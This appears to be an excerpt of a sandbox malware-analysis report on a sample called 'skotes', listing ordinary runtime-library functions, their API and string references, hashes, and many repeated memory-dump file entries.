Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: e92163415e3dc1d5164f5526fa34b4a7e82d52f8b0c5ca1658f56f0db9115b30
Instruction ID: 697c9df935b32befb07d1ad08966a8d7691c0da54179c56dac1d6f33b8ac6e88
Opcode Fuzzy Hash: e92163415e3dc1d5164f5526fa34b4a7e82d52f8b0c5ca1658f56f0db9115b30
Instruction Fuzzy Hash: B431D435A40204BBCF09EF64C9A1AEDB7B5FF58310F624569E81197382EB70EE11CA90

Function 001B727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 001B72BE

Strings

.bat, xrefs: 001B72ED
.cmd, xrefs: 001B72DC
.exe, xrefs: 001B72CB
.com, xrefs: 001B72FE

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 7f3787658a6c166a21346d5f85fc2b62d9bb1b4b6cb9482a7d1fb11f18e5c612
Instruction ID: 87daf0d6d08dbc087cbcbe78d48028c0df1ea1bef81d84b25c301b24439e7b8e
Opcode Fuzzy Hash: 7f3787658a6c166a21346d5f85fc2b62d9bb1b4b6cb9482a7d1fb11f18e5c612
Instruction Fuzzy Hash: F301493770C62235A615601AAD42BF617D89BE2BB4B25002BFC64F7AC1EF95DD4221E0

Function 0019FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0019FB06

Strings

kernel32.dll, xrefs: 0019FA7A
GetThreadGroupAffinity, xrefs: 0019FA93
SetThreadGroupAffinity, xrefs: 0019FA87
GetCurrentProcessorNumberEx, xrefs: 0019FABE

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 88dec41c59657a1db649cb8b60254e7ca572bbfdf2d10a8d688e06bfbabea22f
Instruction ID: e2c1783c59cbf0314e680b0ebe1996b32dc0edb9159b2acf3cbfd2c000c906ee
Opcode Fuzzy Hash: 88dec41c59657a1db649cb8b60254e7ca572bbfdf2d10a8d688e06bfbabea22f
Instruction Fuzzy Hash: F60141266903113AEB10BBB45D82ABB32DC8B46318720293BF405E32B2EFA4E8404160

Function 001B2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 001B20B7

Part of subcall function 001ACAF3: Mailbox.LIBCMT ref: 001ACB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001B20C8
StructuredWorkStealingQueue.LIBCMT ref: 001B20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001B210F

Strings

e, xrefs: 001B20D9

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 6d9fcecd6e808afd065b3dece6ef8a937e317c9d9abd1fd803c556c34b0d53a5
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 1511C235600105ABDB19EE7DC891AFB73A4EF16364B24C16AFC06DF242DB75D909CBA0

Function 0019D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0019D0A5

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 0019D03B
kernel32.dll, xrefs: 0019D04C
WakeAllConditionVariable, xrefs: 0019D069
SleepConditionVariableCS, xrefs: 0019D05D

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: ecea9a3c5184e1e09d59c0f2ffb70471afa9852da4eff3bc4e204d53037c7e71
Instruction ID: a28995d83787c82baff5b245e1a9bd081c87261b8eaf124c01e63276d13f39f9
Opcode Fuzzy Hash: ecea9a3c5184e1e09d59c0f2ffb70471afa9852da4eff3bc4e204d53037c7e71
Instruction Fuzzy Hash: 8601A220FC2B5179FB313BB17C41E9F228A9B82B58F892521B904E7690DBA5D8414472

Function 001C4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 001C4C98
__alloca_probe_16.LIBCMT ref: 001C4D5E
__freea.LIBCMT ref: 001C4DCA

Part of subcall function 001BB04B: RtlAllocateHeap.NTDLL(00000000,116DAFBE,?,?,0019D3FC,116DAFBE,?,00197A8B,?,?,?,?,?,?,00187465,?), ref: 001BB07D

__freea.LIBCMT ref: 001C4DD3
__freea.LIBCMT ref: 001C4DF6

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
